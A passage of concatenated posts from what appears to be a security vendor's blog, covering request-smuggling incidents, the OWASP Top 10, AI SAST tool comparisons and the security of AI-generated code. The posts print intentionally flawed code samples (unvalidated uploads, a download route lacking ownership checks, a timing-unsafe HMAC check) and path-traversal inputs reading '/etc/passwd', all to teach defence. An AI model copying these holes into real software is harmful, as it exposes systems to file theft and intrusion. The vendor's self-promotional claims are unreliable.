dubbed ```TE.0``` affected the Google Cloud Platform's load balancer and, by extension, thousands of websites behind it. By manipulating the Transfer-Encoding header, the team found they could compromise a wide range of GCP-hosted services, including Google's Identity-Aware Proxy, via request smuggling. This single technique opened a critical vulnerability in thousands of web applications, illustrating how severe HRS can be when common infrastructure is affected. - #### HTTP Request Smuggling in BIG-IP A request smuggling flaw ([CVE-2023-46747](https://zeropath.com/blog/f5-big-ip-cve-2023-46747-authentication-bypass-rce)) in the F5 BIG-IP appliance, a high-end load balancer used by many enterprises. By sending specifically crafted requests, they achieved an authentication bypass on the BIG-IP’s management interface, leading to a compromise of an F5 system without credentials. This HRS bug was closely related to a prior smuggling bug ([CVE-2022-26377](https://zeropath.com/blog/cve-2022-26377-apache-ajp-smuggling-analysis)). Notably, large organizations deploy F5 devices, so this vulnerability had a vast impact surface. - #### HTTP Request Smuggling in Cloudflare Recently, Cloudflare revealed a request smuggling vulnerability in its new HTTP proxy software, Pingora. Cloudflare's free-tier CDN (which uses Pingora) was vulnerable to an `HTTP/1.1` request smuggling attack ([CVE-2025-4366](https://zeropath.com/blog/cve-2025-4366-pingora-request-smuggling)). It could have caused visitors to Cloudflare sites to make subsequent requests to their servers and observe which URLs the visitor was initially attempting to access, essentially hijacking part of a user's session. Cloudflare mitigated the issue within 22 hours of notification and found no evidence of prior exploitation. Cloudflare stated, "We treat any potential request smuggling or caching issue with extreme urgency," given the risk of traffic misrouting and cache poisoning on their platform. These were just a few examples of HTTP Request Smuggling; many more reports of HRS appear in standard software. - Apache Tomcat had a long-standing request smuggling bug (in parsing the `Transfer-Encoding` header). Maintainers patched the bug in 2021 after it had gone unnoticed since 2015. - In 2022, Node.js's core HTTP parser similarly had a smuggling bug ([CVE-2022-35256](https://zeropath.com/blog/cve-2022-35256-nodejs-http-request-smuggling)) that could allow desync attacks against Node-based servers. ## Beyond Top 10: Other Categories to Watch Out For - ### AI/ML-related vulnerabilities There has been a surge in AI vulnerabilities, and looking at the number of applications using AI in their fundamental business logic, OWASP has released its [Top 10 for LLMs](https://owasp.org/www-project-top-10-for-large-language-model-applications/) and [Top 10 for Machine Learning](https://owasp.org/www-project-machine-learning-security-top-10/). Web apps integrating AI (chatbots, recommendation engines) might introduce new angles of attack like prompt injection or model poisoning. Top 10 likely won't list these explicitly in 2025 unless they become more relevant to typical web apps. However, it's still very critical to be aware of such vulnerabilities. If you are using the latest models for coding and more, we have a detailed guide on [how to make your vibe coding more secure and reliable.](https://zeropath.com/blog/vibe-coding-and-security). Apart from all the Vulnerabilities we discussed so far, there are always business logic bugs that are most nuanced to catch. Since they are not merely syntax bugs, you would need to completely understand the codebase to find them. If you are curious about business logic bugs, you should check [the business logic detection rate of ZeroPath and how it compares to other SAST tools.](https://zeropath.com/blog/benchmarking-zeropath) ## Conclusion We expect the OWASP Top 10 2025 to reinforce core issues like access control, injection, and secure configuration with a forward-looking lens that addresses how the threat landscape has moved. Emerging categories like secure design, HTTP Request Smuggling (HRS), ReDoS, supply chain integrity, race conditions, and more reflect the current blind spots. --- #### What is OWASP and OWASP Top 10? - **Date**: May 31, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: OWASP, OWASP Top 10, OWASP Top 10 2025, OWASP Top 10 2021, OWASP Top Ten Vulnerabilities, OWASP Top Ten Vulnerabilities 2021, Owasp and OWASP Top 10 - **URL**: https://zeropath.com/blog/what-is-owasp A detailed guide on OWASP and OWASP top 10. The importance of OWASP top 10 and how it can help you secure your web applications. --- OWASP, or the [Open Web Application Security Project](https://owasp.org/), was founded in 2001. It’s a global, non-profit community where security professionals share insights and develop resources that help secure software against vulnerabilities. Essentially, OWASP opens up valuable security knowledge that might otherwise remain trapped inside large corporations or pricey consulting firms. OWASP has produced an ecosystem of security projects: - **[OWASP ZAP](https://www.zaproxy.org/getting-started/?utm_source=chatgpt.com)**: A widely-used, free tool for finding security vulnerabilities in web applications. - [**Cheat Sheet Series**](https://cheatsheetseries.owasp.org/): Quick-reference guides for implementing effective security practices. - **[WebGoat](https://owasp.org/www-project-webgoat/) and [Juice Shop](https://owasp.org/www-project-juice-shop/)**: Intentionally vulnerable apps designed to help developers practice spotting and fixing security flaws. But OWASP is most famous for the OWASP Top 10, a critical resource in web security. ## The OWASP Top 10: The Web Application Security Risks Originally started as a simple list, the OWASP Top 10 has grown into the definitive guide for web application security risks. - Based on real-world vulnerability data collected from thousands of applications. - Incorporates insights from industry experts about emerging threats. - Provides actionable solutions, not just descriptions of issues. All of this makes it a remarkably effective resource that helps organizations focus security resources on the vulnerabilities that matter most. ## OWASP Top 10 (2021 Edition) ### A01: Broken Access Control Found in 94% of applications tested, this category claimed the top position in 2021 (up from #5 in 2017) due to its high frequency. **Issue**: Access control enforces that users can only perform actions within their permitted authority. When these mechanisms fail, attackers can act outside their intended permissions. **Impact**: Unauthorized access to sensitive data, modification of other users' accounts, elevation of privileges, or complete system compromise. **Attack vectors**: - Path traversal exploits - Insecure Direct Object References (IDOR) - JWT token manipulation - CORS misconfigurations **Prevention strategies**: - Implement deny-by-default access controls - Centralize access control logic (via middleware or service layers) - Invalidate session tokens on logout or privilege change - Enforce ownership and object-level permissions in code - Log and monitor access control failures for incident response ### A02: Cryptographic Failures **Issue**: Failures in implementing proper encryption and data protection, leading to exposure of sensitive information. **Impact**: Data breaches exposing personal information, credit card details, or credentials that can be used in further attacks. **Attack vectors**: - Man-in-the-middle attacks on unencrypted data - Exploitation of weak encryption algorithms - Password storage using reversible encryption or weak hashing **Prevention strategies**: - Classify data processed by your application - Apply encryption based on classification - Disable TLS versions below 1.2 - Use modern algorithms (AES-256, SHA-256, etc.) - Implement proper key management - Store passwords with adaptive algorithms like Argon2 ### A03: Injection **Issue**: Applications send untrusted data to interpreters without proper validation or escaping. **Impact**: Data theft, deletion, or corruption; authentication bypass; and in some extreme cases, complete system takeover. **Prevention strategies**: - Use parameterized queries for all database operations - Validate all inputs using positive validation (allowlist) - Implement context-aware output encoding - Use modern frameworks with built-in XSS protection - Consider Content Security Policy (CSP) headers ### A04: Insecure Design **New in 2021**: Added to highlight that security must be a design consideration, not just an implementation concern. **Issue**: Architectural flaws that exist before a single line of code is written. **Real-world scenario**: A banking application that allows unlimited password attempts without any rate limiting or lockout mechanism—even perfect implementation can't fix this design flaw. **Prevention strategies**: - Establish secure development lifecycle requirements - Use threat modeling for critical authentication, access control, business logic - Integrate security language and controls into user stories - Implement security champions in development teams - Use "abuse case" testing scenarios alongside functional testing --- After reading this far, if you think there are a lot of vulnerabilities to look out for, you are right. These are merely 10 of the most common vulnerabilities, but there could be many more in production. In fact, Business Logic & Authentication Vulnerabilities are one of the most nuanced ones to capture. ZeroPath is currently the only SAST tool that can detect Business logic flaws. [If you are curious, check out how ZeroPath compares to Snyk, Semgrep, Bearer, and more.](https://zeropath.com/blog/benchmarking-zeropath) --- ### A05: Security Misconfiguration **Issue**: Improper implementation of security controls across the application stack, from servers to frameworks. **Impact**: Exposed sensitive data, default accounts enabled, overly verbose error messages revealing internal structure. **Common examples**: - Unnecessary features enabled (e.g., unused ports, services) - Default credentials unchanged - Error handling that reveals stack traces - Outdated software with known vulnerabilities - Misconfigured HTTP headers **Prevention strategies**: - Implement automated scanning for misconfiguration - Use minimal platforms without unnecessary features - Automate hardening across all environments - Remove or disable unused features and frameworks - Implement security headers (HSTS, CSP, etc.) ### A06: Vulnerable and Outdated Components **Issue**: Using components with known vulnerabilities or components that are no longer maintained. **Impact**: The Log4Shell vulnerability [CVE-2021-44228](https://zeropath.com/blog/cve-2021-44228-log4shell-log4j-rce) demonstrated how a single vulnerability in a widely-used component could affect millions of systems globally. **Prevention strategies**: - Maintain an inventory of all components and dependencies - Only obtain components from official sources via secure links - Monitor vulnerability databases for issues in your components - Remove unused dependencies, features, and documentation - Establish a patch management process with clear SLAs ### A07: Identification and Authentication Failures **Issue**: Weaknesses in how applications verify user identity and maintain authentication state. **Specific vulnerabilities**: - Credential stuffing vulnerabilities - Brute force susceptibility - Weak password storage - Missing or ineffective multi-factor authentication - Session fixation flaws **Prevention strategies**: - Implement multi-factor authentication - Avoid default credentials, especially for admin users - Check passwords against known breached databases - Limit or delay failed login attempts - Use a server-side session manager that generates random IDs ### A08: Software and Data Integrity Failures **New in 2021**: Reflects growing concerns about supply chain attacks. **Issue**: Code and infrastructure that don't verify the integrity of updates, critical data, or CI/CD pipelines. **Impact**: The SolarWinds attack demonstrated how compromised software updates could lead to widespread breaches. **Prevention strategies**: - Use digital signatures to verify software integrity - Verify libraries and dependencies come from trusted repositories - Implement review processes for code and configuration changes - Use immutable infrastructure for deployments - Ensure CI/CD pipelines include security controls ### A09: Security Logging and Monitoring Failures **Issue**: Insufficient logging of security events and inadequate monitoring of systems. **Impact**: Breaches remain undetected for an average of 200+ days, giving attackers ample time to exfiltrate data or install backdoors. **Prevention strategies**: - Ensure logs include context needed for suspicious activity identification - Encode logs correctly to prevent injection or attacks on log viewers - Implement centralized log management with correlation capabilities - Create and test incident response plans - Establish automated alerting systems for suspicious activities ### A10: Server-Side Request Forgery (SSRF) **New in 2021**: Added based on industry survey data showing its growing importance. **Issue**: The application fetches remote resources without validating user-supplied URLs. **Impact**: The 2019 Capital One breach exploited SSRF to access AWS metadata services, compromising over 100 million customer records. **Prevention strategies**: - Implement network-layer firewall rules - Force all requests through a centralized URL parser/validator - Require proper authentication for all services - Block access to internal networks (127.0.0.1, localhost, etc.) - Use URL allowlists rather than denylists where possible ## OWASP Top 10 and Other Security Standards The OWASP Top 10 holds a unique position in the security standards ecosystem. While frameworks like NIST and ISO provide comprehensive security guidance, the OWASP Top 10 offers specialized, actionable insights specifically for web application security. The relationship is symbiotic rather than competitive: - **NIST frameworks** cover enterprise-wide security controls, with OWASP providing detailed guidance on application-specific implementations - **CIS Controls** establish broad security practices, with OWASP deepening the technical guidance for web applications - **ISO 27001** creates management system requirements, with OWASP informing the technical controls ## OWASP Top 10 2025 The OWASP Top 10 2025 will likely reflect the shifting security landscape. After multiple pentest reports and industry talks, [we have a compiled a list of expected changes between OWASP 2021 and 2025.](https://zeropath.com/blog/owasp-2021-vs-2025) Based on current trends, we can expect: - Greater emphasis on API security as applications increasingly rely on microservices - Expanded focus on cloud-native security risks and infrastructure-as-code vulnerabilities - Deeper integration with DevSecOps practices and tooling - Recognition of AI/ML-specific security concerns. OWASP has already released the OWASP Top 10 for Large Language Models, showing their commitment to addressing emerging technologies. [We also have a detailed guide on how to use LLMs securely for coding.](https://zeropath.com/blog/vibe-coding-and-security) ## Conclusion The OWASP Top 10 directs attention to the most critical vulnerabilities those that repeatedly lead to real-world compromises. In doing so, it transforms application security from an overwhelming challenge into a manageable set of priorities. Although not perfect, its community-driven, practical approach ensures it stays relevant, helping security professionals manage evolving risks in application security. There are various ways to avoid introducing these vulnerabilities into production, and Static Application Security Testing (SAST) is still the most reliable method. But "grep-for-SQL-injection" scanners tend to miss out on broken business logic, authorization edge cases, multi-step exploit chains, and more. ZeroPath understands your codebase, builds a control and data-flow graph, and lets LLM agents reason over it. [Here's a detailed breakdown of how ZeroPath works behind the scenes.](https://zeropath.com/blog/how-zeropath-works) If you are looking for SAST tools, we also have a [list of AI-powered SAST tools which we believe perform the best.](https://zeropath.com/blog/top-ai-sast-tools) --- #### Top AI SAST tools in 2025 - **Date**: May 5, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: AI SAST, AI SAST tools, AI SAST tools in 2025, Top AI SAST tools, Best AI SAST tools, AI SAST tools comparison, AI SAST tools review, AI SAST tools pros and cons - **URL**: https://zeropath.com/blog/top-ai-sast-tools We tested all the top AI SAST tools in the market and compiled a list with pros and cons for each tool. Hopedully this will help you make an informed decision on which AI SAST tool fits your needs. --- # Top AI SAST tools in 2025 A lot of static analysis has already been shaped or is currently under change, thanks to the latest models. What used to be noisy vulnerability scanners are now smarter tools that prioritize, explain, and patch issues for you. But not all "AI-powered" SAST tools are created equal. Some add the contextual power of AI on top of old rule engines. Others rethink how code and risk should be analyzed from the ground up. Here's a breakdown of the most talked-about tools in 2025: what they do well, where they fall short, and how they fit into a security workflow. ## ZeroPath While other SAST tools are built on legacy engines that functions on rule-based checks. ZeroPath takes a different approach outlined in our How it Works. The team has rebuilt a SAST engine from the ground up around LLMs and traditional static analysis to reason about how the application behaves, what’s reachable, and where real risks lie. ![ZeroPath SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/zeropath.png "SAST Dashboard Screenshot") **Where it works well:** - Uses architectural context and application logic to flag vulnerabilities (even business logic bugs) - Finds vulns traditionally out of scope for SAST - Supports natural language custom rules - Catches traditional vulns at lowest false positive rates in the industry - Feels more like a security assistant than a scanner - Patches vulns automatically **Where it struggles:** - Takes a bit of a mindset shift if you're used to rule-heavy SAST workflows - PR scans are fast, but the first full scan is long on large repos - Some of the more advanced features are only in enterprise tiers ## Snyk Code Snyk initially started in the SCA space but has built a strong SAST offering. It plugs into your IDE or GitHub workflow and flags vulnerabilities as you type (pretty cool). ![Snyk SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/snyk.jpg "SAST Dashboard Screenshot") **Where it works well:** - Provides real-time feedback in editors like VS Code and JetBrains IDEs - AI-powered suggestions make remediation easy for common issues - Support for popular web stack languages like JavaScript, Python, Java, and Go - Simple setup and integration make it easy for small dev teams **Where it struggles:** - Doesn’t go very deep. Multi-file dataflow issues can slip - Doesn't support custom rules or deeper security customization - Costs add up fast with larger teams - Can misfire with safe code depending on context ## Checkmarx Checkmarx is a heavyweight in the AppSec world, used by large organizations with complex stacks. The platform goes beyond SAST, covering cloud and software supply chain security, but SAST is still its core. ![Checkmarx SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/checkmarx.webp "SAST Dashboard Screenshot") **Where it works well:** - Supports over 35 languages and 80 frameworks, including legacy systems - Allows for custom rule writing through its query builder - Integrates well with DAST tools for more complete coverage **Where it struggles:** - Limited support for mobile platforms and some gaps in Swift, C, and C++ - Initial setup is heavy and requires infrastructure planning - DevOps integration isn’t always smooth, especially in fast-moving teams - The interface is hard to navigate, especially for devs trying to triage results ## Veracode Veracode offers cloud-based static analysis and is often chosen by companies focused on governance and compliance. It's designed more for security teams than developers. ![Veracode SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/veracode.png "SAST Dashboard Screenshot") **Where it works well:** - Excels at scanning enterprise-scale applications with broad language support - AI-powered remediation suggestions help reduce triage time - Well-suited for centralized security teams running security gates in CI/CD **Where it struggles:** - Takes longer to learn and operate than more developer-friendly tools - Full scans are slower than most cloud-native competitors - False positives are common and require manual cleanup - Pricing is too high for startups or smaller engineering teams ## Semgrep Semgrep is built for speed and customization. It’s rule-based, open-source, and designed to let you write your own checks without needing to understand abstract syntax trees. They have started integrating AI to help with rule generation and triage. ![Semgrep SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/semgrep.png "SAST Dashboard Screenshot") **Where it works well:** - Scans are fast. Good for every PR, every push - Custom rules can be created in minutes using familiar syntax - Strong community with thousands of shared rules and active support **Where it struggles:** - Doesn’t track data across multiple files or functions unless manually encoded - Out-of-the-box rules can be noisy or miss context-sensitive issues - Requires security engineering effort to maintain and scale effectively - Fix guidance is minimal. You often get a warning and you have to figure out the rest ## Final Thoughts Each of these tools serves a different kind of organization. Snyk is well-suited for engineering teams that prioritize speed and tight integration with developer workflows. Checkmarx and Veracode offer the depth and controls expected in large, regulated environments. Semgrep gives security engineers flexibility, but it requires more hands-on rule management. ZeroPath is built for security teams that want clarity and actionability, especially with reduced noise. We focus on showing which vulnerabilities actually matter in the context of how your application works, where they can be reached, and how they’re best resolved. It reduces triage overhead, shortens remediation cycles, and improves how security and engineering teams work together. We understand if there are too many comparisons going on in your head right now. Therefore, to make the decision-making easier, we wrote these blogs: - [We found vulns that synk, semgrep missed in repos with 15k+ stars](https://zeropath.com/blog/0day-discoveries) - [How ZeroPath helps you maintain security in Vibe coding](https://zeropath.com/blog/vibe-coding-and-security) --- #### Security in Vibe Coding: The most common vulnerabilities and how to avoid them - **Date**: April 19, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 8 minutes - **Keywords**: Vibe Coding, Vibe Coding & Security, Vulnerabilities in AI Generated Code, Ways to maintain security in Vibe Coding - **URL**: https://zeropath.com/blog/vibe-coding-and-security Diving into the security implications of Vibe coding. We explore common vulnerabilities with examples and best practices to avoid them. --- Generative coding is exceptionally fast and efficient. With a simple prompt requesting an endpoint, you can have routes, business logic, and database queries wired together in seconds. The code runs, tests pass, and CI is green. When errors do occur, they're quickly fixed by highlighting the terminal error, letting the model interpret it, and implementing the fix—often before you've had time to analyze the issue yourself. This speed comes with security risks. AI-generated code can introduce production-grade vulnerabilities that bypass traditional SAST tools, survive CI/CD pipelines, and reach production. These include remote code execution vulnerabilities, authentication bypasses, and logic flaws—all in code that appears functional and correct at first glance. ## What Is Vibe Coding The term "vibe coding" originated from a tweet by Andrej Karpathy and has since gained significant popularity, even being recognized by Merriam-Webster as trending slang. ![alt text](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/image%20(3).png) Vibe coding extends beyond merely using AI for development—it involves relying on it as the primary development mechanism. Developers prompt an LLM, accept the output wholesale, and proceed without validation or threat modeling. This approach has become standard practice when developing with tools like Copilot, Cursor, and internal chat-based development agents. While it accelerates iteration, it often produces functionally working code that contains structural security flaws. ## What Makes Vibe Coding Risky ### Pattern Completion Over Intent LLMs function by predicting the next most probable token rather than applying security engineering principles. They prioritize fulfilling functional requirements over security considerations. Consider this prompt: `Build me a file upload server using Express and Multer` ```js // imports const storage = multer.diskStorage({ destination: (req, file, cb) => { const uploadDir = 'uploads'; if (!fs.existsSync(uploadDir)) { fs.mkdirSync(uploadDir); } cb(null, uploadDir); }, filename: (req, file, cb) => { const uniqueName = Date.now() + '-' + file.originalname; cb(null, uniqueName); } }); const upload = multer({ storage }); app.post('/upload', upload.single('file'), (req, res) => { if (!req.file) return res.status(400).send('No file uploaded.'); res.send(`File uploaded: ${req.file.filename}`); }); app.listen(PORT, () => { console.log(`Server running on http://localhost:${PORT}`); }); ``` The code works as requested—it handles uploads and provides frontend progress indication. But critical security measures are absent because they weren't explicitly required: * No file type validation. You can upload .php, .exe, .jsp, or anything else. If this server sits behind NGINX or Apache with misconfigurations, you now have an RCE. * No filename sanitization. ```file.originalname``` is user-controlled input. A user can send ```../../../etc/passwd``` or ```../evil.js```, and if you lack sandboxing, you're now facing path traversal. The code satisfies functional requirements but fails to implement security best practices, creating vulnerabilities that basic testing won't catch. ### No Awareness of System Boundaries LLMs generate code at the function level without considering system-level architectural constraints like session state, service interactions, or permission enforcement. This lack of architectural thinking leads to broken access controls, missing state checks, and logic flaws that only become apparent in broader contexts. For example, requesting a document download API: ``` build an API to allow users to download documents they’ve uploaded. ``` ```js // ... upload logic ... // Download route app.get('/download/:filename', (req, res) => { const filePath = path.join(__dirname, 'uploads', req.params.filename); if (fs.existsSync(filePath)) { res.download(filePath); } else { res.status(404).json({ error: 'File not found' }); } }); ``` The code functions correctly but contains significant security gaps: * No user context or authentication middleware to associate files with specific users * No ownership verification allows anyone who knows or guesses a filename to download arbitrary files * No access model to restrict file access based on permissions These aren't merely bugs but fundamental design oversights. The model delivers functional code without addressing essential security boundaries. ### **Training on Insecure Patterns**: LLMs primarily learn correlation patterns from massive datasets containing GitHub repositories, tutorials, and StackOverflow threads—sources that often contain more insecure examples than secure ones. Let's say you prompt: ```Write a Flask middleware to verify an HMAC signature header on incoming requests``` ```py import hmac import hashlib from flask import request, abort SECRET = b'supersecretkey' def verify_signature(): signature = request.headers.get("X-Signature") body = request.get_data() expected = hmac.new(SECRET, body, hashlib.sha256).hexdigest() if signature != expected: abort(401) ``` At first glance, the code appears correct. It validates signatures similar to webhook validators or API gateways. However, a subtle vulnerability exists: * The code uses `==` for HMAC comparison instead of a constant-time comparison, creating vulnerability to timing-based side-channel attacks. This vulnerability likely won't appear in tests or reviews, but could enable gradual brute-forcing of signatures by observing response times. ## How to maintain security in vibe coding While "review all AI-generated code" or "label AI-generated code in your codebase" are sound recommendations, they may not be practical given the productivity benefits of these tools. Here are more realistic strategies: ### Integrate code scanning tools or SAST: SAST refers to Static Application Security Testing. These tools analyze your source code, bytecode, or binaries for vulnerabilities without actually executing the program. Think of them as a security-focused linter. They flag issues like SQL injection, command injection, and insecure function usage directly from your codebase. ​ Traditionally, while SAST has been really helpful in maintaining security, we at ZeroPath have redesigned the technology to leverage LLMs. This architectural change has reduced the number of false positives and has helped us detect business logic issues in some large open-source repos. - **Development Stage**: Use code scanning tools that integrate with your AI workflow (inside cursor, windsurf, etc) to catch vulns. You can run your scans on ZeroPath and interact with them by hooking your IDE to [ZeroPath's MCP servers](https://zeropath.com/blog/chat-with-your-appsec-scans). - **Production Stage**: Integrate SAST into CI/CD pipelines to prevent vulnerabilities from reaching deployment, with tools like ZeroPath that can automatically create pull requests with patches that you can review and merge. The goal here is to have independent tools verify your code before the end user uses it. If the pipeline has linting and security tests, they should flag things like “input not sanitized” or “insecure HTTP connection”. ### Security based prompt engineering: Enhance AI outputs by explicitly incorporating security requirements in your prompts. This means explicitly prompting the AI agent to prioritize security in its output. Rather than requesting "write a file upload function," specify "write a secure file upload function that checks file type and size and prevents path traversal." For IDE tools like Cursor that support rule systems, create security-focused rule files. These are ```.mdc``` files in ```.cursor/rules```: ```md --- description: Enforce security in code generation globs: "**/*" alwaysApply: true --- - Validate all user inputs to prevent injection attacks. - Sanitize and encode outputs to mitigate XSS vulnerabilities. - Implement proper authentication and authorization checks. - Use HTTPS for all external communications. - Avoid hardcoding secrets or credentials in the codebase. ``` More about the rules file [here](https://docs.cursor.com/context/rules#domain-specific-guidance). ### 2-Stage AI Prompting: Implement a simple but effective approach: prompt the AI twice—first to implement the feature, then to review and improve its own output for security issues. After receiving the initial solution, follow up with: "Now review this code for any security vulnerabilities or mistakes and fix them." This second-pass review often catches obvious security issues, functioning like an integrated static analysis. ## Conclusion Vibe coding is cool. It reduces barriers for developers and increases development accessibility. However, its security limitations require vigilance—whether through code review, specialized security tools, or supplementary manual coding. The security landscape is evolving to integrate with AI code generation, but until that integration matures, developers must implement additional measures to ensure AI-generated code meets security standards. --- #### Is AI SAST a meme? - **Date**: April 8, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: AI SAST, ZeroPath, Application Security, Security Testing, Developer Tools - **URL**: https://zeropath.com/blog/is-ai-sast-a-meme An honest breakdown of the benefits and downsides of AI-powered security testing. We explore ZeroPath's approach to contextual understanding, natural language rules, and automated remediation while acknowledging the limitations. --- ![Distracted boyfriend meme with developer looking at ZeroPath finding a bug while ignoring manual code review](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/ai-sast-distracted_gf.png) The security industry loves its buzzwords, and "AI-powered SAST" might seem like the latest marketing gimmick. But behind this terminology lies a fundamental shift in how we approach code security. At ZeroPath, we've been tackling a problem that has plagued static analysis for decades: false positives that waste developer time and erode trust in security tools. Like any technology, our approach has both strengths and limitations, which we'll explore throughout this post. No tool is perfect, and being transparent about where AI SAST excels and where it struggles is crucial for teams to make informed decisions. ## What is AI-powered SAST, really? Traditional Static Application Security Testing (SAST) tools scan source code for patterns that match known vulnerability signatures. They're essentially sophisticated pattern matchers—effective for finding textbook issues but notoriously bad at understanding context. AI-powered SAST fundamentally changes this approach. Instead of just pattern matching, it builds an Abstract Syntax Tree (AST) of your code and analyzes it with language models. It tracks data flows through your application, maps component interactions, and examines security control implementations. This structural analysis helps reason about security in ways that traditional SAST cannot. We discuss these advancements in detail in our recent blog post on [AI Model Progress](https://zeropath.com/blog/on-recent-ai-model-progress). For monorepos or complex repositories, the system identifies distinct applications and their relationships, gathering information about each app's purpose, tech stack, authentication mechanisms, and architecture. This application-level awareness provides context for security findings. ## The False Positive Problem Traditional SAST tools operate primarily through pattern matching and predefined rules. While effective at finding textbook vulnerabilities, they struggle with contextual understanding, leading to an overwhelming number of false positives. Let's examine the types of false alarms that have made developers rightfully skeptical of SAST results. ## Common False Positives ZeroPath Eliminates ### Sanitized Input Misidentification Traditional SAST tools often flag inputs as dangerous even when they've been properly sanitized elsewhere in the codebase. ZeroPath's contextual understanding tracks data flow comprehensively, recognizing when potentially dangerous inputs have been properly validated or sanitized before use. For example, when analyzing a Python web application, ZeroPath won't flag sanitized database queries as SQL injection risks if it can verify that proper ORM methods or parameterized queries are used, even if the sanitization happens several function calls away from the final execution. ### Framework-Aware Analysis Many frameworks provide built-in security protections that traditional SAST tools miss. ZeroPath understands modern frameworks' security models and won't flood you with alerts for "vulnerabilities" that are actually protected by framework safeguards. When scanning a React application using properly implemented JSX, ZeroPath knows that XSS vulnerabilities are mitigated by React's automatic output encoding, while traditional tools might flag every dynamic content insertion as a potential XSS vector. ### Test Code Differentiation Many SAST tools generate alerts for intentionally vulnerable code in test files. ZeroPath intelligently separates test code from production code, understanding that mock vulnerabilities in tests don't represent actual security risks. ### Dead Code Elimination Traditional SAST tools frequently flag vulnerabilities in code that isn't actually accessible in the running application. ZeroPath maps the actual entry points and execution paths of your application, identifying which code can actually be reached from external sources. This prevents alerts on technically vulnerable but practically unexploitable code that's never executed in production environments. ## The Real Challenges Every security tool has strengths and limitations. Here are some challenges we're actively working to address: ### Business Logic False Positives Despite our contextual analysis, detecting business logic vulnerabilities remains challenging. ZeroPath can still produce false positives when analyzing complex authorization schemes or multi-step business processes, particularly when business rules are implemented across multiple services or repositories. For example, a potential Insecure Direct Object Reference (IDOR) might be flagged even though authorization is properly handled through a separate microservice that ZeroPath doesn't have visibility into during single-repository scans. ### Scan Performance on Large Codebases While pull request scans are optimized for speed, initial full-repository scans on large codebases can be time-consuming. The depth of analysis required for contextual understanding comes with computational cost. Repositories exceeding several hundred thousand lines of code might experience longer initial scan times compared to traditional SAST tools. ### Middleware Detection Challenges One of our more frustrating limitations involves middleware detection. Depending on framework configurations, ZeroPath sometimes struggles to correctly identify security controls implemented in middleware layers. This can lead to false positives where the tool flags issues that are actually being mitigated by middleware components. For example, in Express.js applications with custom authentication middleware, ZeroPath might flag endpoints as lacking proper authentication if the middleware is applied through non-standard patterns or dynamic route configuration. Fortunately, our context feature allows you to provide additional information about your middleware implementation to prevent these false positives, but this requires manual input. ### Third-Party Dependency Limitations ZeroPath generates an Abstract Syntax Tree (AST) for your application code, but a significant limitation is our handling of third-party dependencies. We don't analyze the internal code of dependencies, which can cause blind spots in security analysis. This becomes particularly problematic with frameworks that use callbacks, hooks, or dynamic function invocation patterns. For example, if your application uses a framework that implements security controls through dynamically registered handlers or middleware, ZeroPath might not correctly trace these execution paths, potentially leading to false positives or missed vulnerabilities. While our dependency scanning identifies known vulnerable packages, the deeper interaction between your code and third-party libraries may not be fully captured in our analysis model. ### Multi-Repository Architecture Challenges Complex applications spanning multiple repositories can present challenges for comprehensive security analysis. ZeroPath works best when it can trace execution flows fully, which can be limited when analyzing single repositories in isolation. ## Addressing Business Logic and Context When the system flags potential issues that turn out to be false positives in your specific environment, you can provide additional context through natural language input. This helps refine the analysis for your particular codebase. For example, if you've implemented custom authorization logic that isn't automatically recognized, explaining this implementation helps the system incorporate this context in subsequent scans. ``` Developer: Is this IDOR vulnerability exploitable if we've implemented role-based access control at the API gateway level? ZeroPath: Based on your code, I can see that the API gateway implements role checks, but the vulnerability exists because the user ID parameter in the /api/documents/:id endpoint is only validated for format, not ownership. An attacker with a valid session could still access another user's documents by changing the ID parameter, bypassing the role checks. ``` ## How We Approach Findings When potential vulnerabilities are detected, the system allows for interactive analysis. Developers can query the findings with specific questions: 1. "Show me the execution path for this vulnerability" 2. "Generate a curl command that would trigger this issue" 3. "How would you modify this patch to use our validation library?" This direct interaction with findings helps reduce time spent on investigation and remediation planning. ## Technical Implementation Details At a technical level, we've focused on analyzing codebases as complete systems rather than isolated snippets. This approach has practical implications for security analysis: First, we build a comprehensive source inventory that catalogs all entry points in your application - HTTP endpoints, WebSockets, and similar interfaces. This mapping helps identify which parts of the codebase are actually exposed to potential attackers. We've also implemented natural language processing for security policy definition. You can define rules in plain English instead of specialized syntax, which simplifies the creation and maintenance of security standards. For vulnerability prioritization, we use standard CVSS scoring to ensure consistent risk assessment. This helps development teams focus on fixing the most critical issues first based on objective criteria. ## The Bottom Line Is AI SAST a meme? In some ways, the term has become overused in marketing materials across the industry. However, there are genuine technical advancements in how static analysis can be performed. Tools like ZeroPath can reduce false positives and identify complex vulnerabilities that traditional pattern-matching would miss. The ability to understand code in context helps filter out many of the false alarms that have made previous generations of SAST tools frustrating to use. That said, no tool solves all problems. There are still challenges with complex business logic, third-party dependencies, and multi-repository architectures. Like any security technology, these tools work best as part of a broader strategy that includes different testing methodologies and human expertise. The practical value isn't in buzzwords but in concrete capabilities: interactive finding analysis, contextual code understanding, and meaningful prioritization of legitimate issues. These improvements help security and development teams work more efficiently, even if they don't represent the revolutionary change that some marketing might suggest. If this is something you are interested in, we have a blog where we show you [how to do Security Research with ZeroPath.](https://zeropath.com/blog/security-research-with-zeropath) --- ### Security Research (1 most recent of 1 total) #### How to do Security Research with ZeroPath - **Date**: April 4, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 4 minutes - **Keywords**: AI SAST, ZeroPath, Application Security, Security Testing, Developer Tools - **URL**: https://zeropath.com/blog/security-research-with-zeropath A practical guide on using AI SAST with ZeroPath to perform security research. --- ## Introduction It's trivial, but security researchers, even bug bounty hunters, often begin their research by running SAST tools, just to check for low hanging fruit. If the target you're looking at isn't well tested, running 